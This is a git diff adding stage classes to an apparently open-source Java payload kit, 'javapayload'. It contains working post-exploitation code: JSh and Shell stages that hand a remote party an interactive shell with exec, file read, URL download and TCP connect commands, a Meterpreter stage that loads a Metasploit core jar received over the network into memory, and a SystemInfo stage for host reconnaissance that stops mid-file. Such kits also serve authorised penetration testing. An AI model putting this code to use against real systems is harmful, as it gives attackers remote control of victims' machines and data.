||||
signalStream.flush();
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
originalIn.close();
|
||||
signalStream.close();
|
||||
}
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace(pout);
|
||||
}
|
||||
}
|
||||
|
||||
public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception {
|
||||
this.originalIn = originalIn;
|
||||
signalStream = new PipedOutputStream();
|
||||
pout = new PrintStream(out, true);
|
||||
final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream));
|
||||
final Thread copier = new Thread(this);
|
||||
copier.setDaemon(true);
|
||||
copier.start();
|
||||
final JShSignalSender ss = new JShSignalSender(signalStream, pout);
|
||||
File pwd = new File(".").getCanonicalFile();
|
||||
while (true) {
|
||||
pout.print("! ");
|
||||
// yes I know this is deprecated. but BufferedReader is way too bloated for what we need here
|
||||
String cmd = in.readLine();
|
||||
while (cmd.indexOf("\0$") != -1) {
|
||||
cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2);
|
||||
}
|
||||
if (cmd.length() == 0) {
|
||||
continue;
|
||||
}
|
||||
int pos = cmd.indexOf(' ');
|
||||
String params = "";
|
||||
if (pos != -1) {
|
||||
params = cmd.substring(pos + 1);
|
||||
cmd = cmd.substring(0, pos);
|
||||
}
|
||||
cmd = cmd.toLowerCase().intern();
|
||||
try {
|
||||
if (cmd == "info") {
|
||||
if (params.length() == 0) {
|
||||
final Enumeration e = System.getProperties().propertyNames();
|
||||
while (e.hasMoreElements()) {
|
||||
final String property = (String) e.nextElement();
|
||||
pout.println(property + "=" + System.getProperty(property));
|
||||
}
|
||||
} else {
|
||||
pout.println(params + "=" + System.getProperty(params));
|
||||
}
|
||||
} else if (cmd == "pwd") {
|
||||
pout.println(pwd.getPath());
|
||||
} else if (cmd == "cd") {
|
||||
File f = new File(pwd, params);
|
||||
if (f.exists() && f.isDirectory()) {
|
||||
pwd = f.getCanonicalFile();
|
||||
} else {
|
||||
f = new File(params);
|
||||
if (f.exists() && f.isDirectory()) {
|
||||
pwd = f.getCanonicalFile();
|
||||
} else {
|
||||
pout.println("Path not found.");
|
||||
}
|
||||
}
|
||||
pout.println(pwd.getPath());
|
||||
} else if (cmd == "ls") {
|
||||
final File[] roots = File.listRoots();
|
||||
for (int i = 0; i < roots.length; i++) {
|
||||
pout.println(roots[i].getAbsolutePath() + "\t[ROOT]");
|
||||
}
|
||||
pout.println();
|
||||
final File[] dir = pwd.listFiles();
|
||||
for (int i = 0; i < dir.length; i++) {
|
||||
pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified());
|
||||
}
|
||||
} else if (cmd == "exec") {
|
||||
Process proc;
|
||||
handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) });
|
||||
} else if (cmd == "cat") {
|
||||
final FileInputStream fis = new FileInputStream(new File(pwd, params));
|
||||
forward(fis, pout);
|
||||
} else if (cmd == "wget") {
|
||||
pos = params.indexOf(' ');
|
||||
if (pos == -1) {
|
||||
pout.println(" Usage: wget <URL> <filename>");
|
||||
} else {
|
||||
final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1)));
|
||||
forward(new URL(params.substring(0, pos)).openStream(), fos);
|
||||
fos.close();
|
||||
}
|
||||
} else if (cmd == "telnet") {
|
||||
pos = params.indexOf(' ');
|
||||
if (pos == -1) {
|
||||
pout.println(" Usage: telnet <host> <port>");
|
||||
} else {
|
||||
Socket s;
|
||||
handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) });
|
||||
}
|
||||
} else if (cmd == "paste") {
|
||||
FileOutputStream fos;
|
||||
handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos });
|
||||
} else if (cmd == "jobs") {
|
||||
if (params.length() == 0) {
|
||||
for (int i = 0; i < jobs.size(); i++) {
|
||||
pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]);
|
||||
}
|
||||
} else {
|
||||
handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1));
|
||||
}
|
||||
} else if (cmd == "exit") {
|
||||
break;
|
||||
} else if (cmd == "help") {
|
||||
params = params.toLowerCase().intern();
|
||||
if (params == "info") {
|
||||
pout.println("info: show system properties.");
|
||||
pout.println(" Usage: info [property]");
|
||||
} else if (params == "pwd") {
|
||||
pout.println("pwd: show current directory.");
|
||||
pout.println(" Usage: pwd");
|
||||
} else if (params == "cd") {
|
||||
pout.println("cd: change directory.");
|
||||
pout.println(" Usage: cd <path>");
|
||||
} else if (params == "ls") {
|
||||
pout.println("ls: list directory.");
|
||||
pout.println(" Usage: ls");
|
||||
} else if (params == "exec") {
|
||||
pout.println("exec: execute native command.");
|
||||
pout.println(" Usage: exec <command>");
|
||||
} else if (params == "cat") {
|
||||
pout.println("cat: show text file.");
|
||||
pout.println(" Usage: cat <filename>");
|
||||
} else if (params == "wget") {
|
||||
pout.println("wget: download file.");
|
||||
pout.println(" Usage: wget <URL> <filename>");
|
||||
} else if (params == "telnet") {
|
||||
pout.println("telnet: create TCP connection.");
|
||||
pout.println(" Usage: telnet <host> <port>");
|
||||
} else if (params == "paste") {
|
||||
pout.println("paste: create text file.");
|
||||
pout.println(" Usage: paste <filename>");
|
||||
} else if (params == "jobs") {
|
||||
pout.println("jobs: list or continue jobs.");
|
||||
pout.println(" Usage: jobs [index]");
|
||||
} else if (params == "exit") {
|
||||
pout.println("exit: Exit JSh.");
|
||||
pout.println(" Usage: exit");
|
||||
} else {
|
||||
pout.println("help: show information about commands.");
|
||||
pout.println(" Usage: help [command]");
|
||||
pout.println();
|
||||
pout.println("Supported commands:");
|
||||
pout.println(" help - show this help");
|
||||
pout.println(" info - list system properties");
|
||||
pout.println(" pwd - show current directory");
|
||||
pout.println(" cd - change directory");
|
||||
pout.println(" ls - list directory");
|
||||
pout.println(" exec - execute native command");
|
||||
pout.println(" cat - show text file");
|
||||
pout.println(" wget - download file");
|
||||
pout.println(" telnet - create TCP connection");
|
||||
pout.println(" paste - create text file");
|
||||
pout.println(" jobs - list or continue jobs");
|
||||
pout.println(" exit - Exit JSh");
|
||||
pout.println();
|
||||
pout.println("When inside an interactive command, enter ~. on a new");
|
||||
pout.println("line to exit from that command. Enter ~& to background the command.");
|
||||
pout.println("Enter ~~ to start a line with a ~ character");
|
||||
}
|
||||
} else {
|
||||
pout.println("Unknown command: " + cmd);
|
||||
pout.println("Type help for more info.");
|
||||
}
|
||||
} catch (final Exception ex) {
|
||||
ex.printStackTrace(pout);
|
||||
}
|
||||
}
|
||||
ss.terminate();
|
||||
pout.close();
|
||||
}
|
||||
}
|
84
java/src/javapayload/stage/JShSignalSender.java
Normal file
84
java/src/javapayload/stage/JShSignalSender.java
Normal file
@ -0,0 +1,84 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.PipedOutputStream;
|
||||
import java.io.PrintStream;
|
||||
|
||||
/**
|
||||
* For some strange reason {@link PipedOutputStream} assumes something bad[tm] happened if a thread which wrote last to it dies without closing it. Therefore, we send all the "process dead" signals to the output stream via a dedicated thread that does not end before Jsh ends...
|
||||
*/
|
||||
public class JShSignalSender extends Thread {
|
||||
private final PipedOutputStream signalStream;
|
||||
private boolean doSignal, doTerminate;
|
||||
private final PrintStream errorStream;
|
||||
|
||||
public JShSignalSender(PipedOutputStream signalStream, PrintStream errorStream) {
|
||||
this.signalStream = signalStream;
|
||||
this.errorStream = errorStream;
|
||||
start();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
while (true) {
|
||||
synchronized (this) {
|
||||
while (!doSignal && !doTerminate) {
|
||||
wait();
|
||||
}
|
||||
if (doTerminate) {
|
||||
break;
|
||||
}
|
||||
doSignal = false;
|
||||
}
|
||||
signalStream.write(new byte[] { 0, '$' });
|
||||
signalStream.flush();
|
||||
}
|
||||
signalStream.close();
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace(errorStream);
|
||||
}
|
||||
}
|
||||
|
||||
public synchronized void signal() {
|
||||
doSignal = true;
|
||||
notifyAll();
|
||||
}
|
||||
|
||||
public synchronized void terminate() {
|
||||
doTerminate = true;
|
||||
notifyAll();
|
||||
}
|
||||
}
|
108
java/src/javapayload/stage/JShStreamForwarder.java
Normal file
108
java/src/javapayload/stage/JShStreamForwarder.java
Normal file
@ -0,0 +1,108 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.PrintStream;
|
||||
|
||||
public class JShStreamForwarder extends Thread {
|
||||
private final InputStream in;
|
||||
private PrintStream out;
|
||||
private boolean paused = false, finished = false;
|
||||
private final JShSignalSender signalSender;
|
||||
|
||||
public JShStreamForwarder(InputStream in, PrintStream out, JShSignalSender signalSender) {
|
||||
this.in = in;
|
||||
this.out = out;
|
||||
this.signalSender = signalSender;
|
||||
start();
|
||||
}
|
||||
|
||||
public synchronized boolean isFinished() {
|
||||
return finished;
|
||||
}
|
||||
|
||||
public synchronized void pauseForwarding(boolean paused) {
|
||||
this.paused = paused;
|
||||
this.notifyAll();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
try {
|
||||
final byte[] buf = new byte[4096];
|
||||
int length;
|
||||
while ((length = in.read(buf)) != -1) {
|
||||
synchronized (this) {
|
||||
while (paused) {
|
||||
wait();
|
||||
}
|
||||
if (out != null) {
|
||||
out.write(buf, 0, length);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
synchronized (this) {
|
||||
finished = true;
|
||||
if (!paused) {
|
||||
signalSender.signal();
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
in.close();
|
||||
}
|
||||
} catch (final Throwable ex) {
|
||||
synchronized (this) {
|
||||
while (paused) {
|
||||
try {
|
||||
wait();
|
||||
} catch (final InterruptedException ex2) {
|
||||
}
|
||||
}
|
||||
if (out != null) {
|
||||
ex.printStackTrace(out);
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public synchronized void stopForwarding() {
|
||||
out = null;
|
||||
}
|
||||
}
|
25
java/src/javapayload/stage/Meterpreter.java
Normal file
25
java/src/javapayload/stage/Meterpreter.java
Normal file
@ -0,0 +1,25 @@
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect");
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
|
||||
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) });
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
53
java/src/javapayload/stage/SendParameters.java
Normal file
53
java/src/javapayload/stage/SendParameters.java
Normal file
@ -0,0 +1,53 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class SendParameters implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
int paramCount = in.readUnsignedShort();
|
||||
String[] params = new String[paramCount+2];
|
||||
params[0] = parameters[0];
|
||||
params[1] = "--";
|
||||
for (int i = 2; i < params.length; i++) {
|
||||
params[i] = in.readUTF();
|
||||
}
|
||||
Stage realStage = (Stage) Class.forName("javapayload.stage."+params[2]).newInstance();
|
||||
realStage.start(in, out, params);
|
||||
}
|
||||
}
|
56
java/src/javapayload/stage/Shell.java
Normal file
56
java/src/javapayload/stage/Shell.java
Normal file
@ -0,0 +1,56 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class Shell implements Stage {
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
final String[] cmdarray = new String[1];
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
|
||||
cmdarray[0] = "cmd.exe";
|
||||
} else {
|
||||
cmdarray[0] = "/bin/sh";
|
||||
}
|
||||
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
42
java/src/javapayload/stage/Stage.java
Normal file
42
java/src/javapayload/stage/Stage.java
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public interface Stage {
|
||||
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
|
||||
}
|
79
java/src/javapayload/stage/StreamForwarder.java
Normal file
79
java/src/javapayload/stage/StreamForwarder.java
Normal file
@ -0,0 +1,79 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
|
||||
public class StreamForwarder extends Thread {
|
||||
public static void forward(InputStream in, OutputStream out) throws IOException {
|
||||
try {
|
||||
final byte[] buf = new byte[4096];
|
||||
int length;
|
||||
while ((length = in.read(buf)) != -1) {
|
||||
if (out != null) {
|
||||
out.write(buf, 0, length);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
private final InputStream in;
|
||||
private final OutputStream out;
|
||||
|
||||
private final OutputStream stackTraceOut;
|
||||
|
||||
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
|
||||
this.in = in;
|
||||
this.out = out;
|
||||
this.stackTraceOut = stackTraceOut;
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
forward(in, out);
|
||||
} catch (final Throwable ex) {
|
||||
ex.printStackTrace(new PrintStream(stackTraceOut));
|
||||
}
|
||||
}
|
||||
}
|
92
java/src/javapayload/stage/SystemInfo.java
Normal file
92
java/src/javapayload/stage/SystemInfo.java
Normal file
@ -0,0 +1,92 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.InetAddress;
|
||||
import java.net.NetworkInterface;
|
||||
import java.net.URL;
|
||||
import java.util.Enumeration;
|
||||
|
||||
public class SystemInfo implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
PrintStream pout = new PrintStream(out, true);
|
||||
pout.println("System properties:");
|
||||
pout.println("~~~~~~~~~~~~~~~~~~");
|
||||
for (final Enumeration e = System.getProperties().propertyNames(); e.hasMoreElements(); ) {
|
||||
final String property = (String) e.nextElement();
|
||||
pout.println(property + "=" + System.getProperty(property));
|
||||
}
|
||||
pout.println();
|
||||
pout.println("Local address:");
|
||||
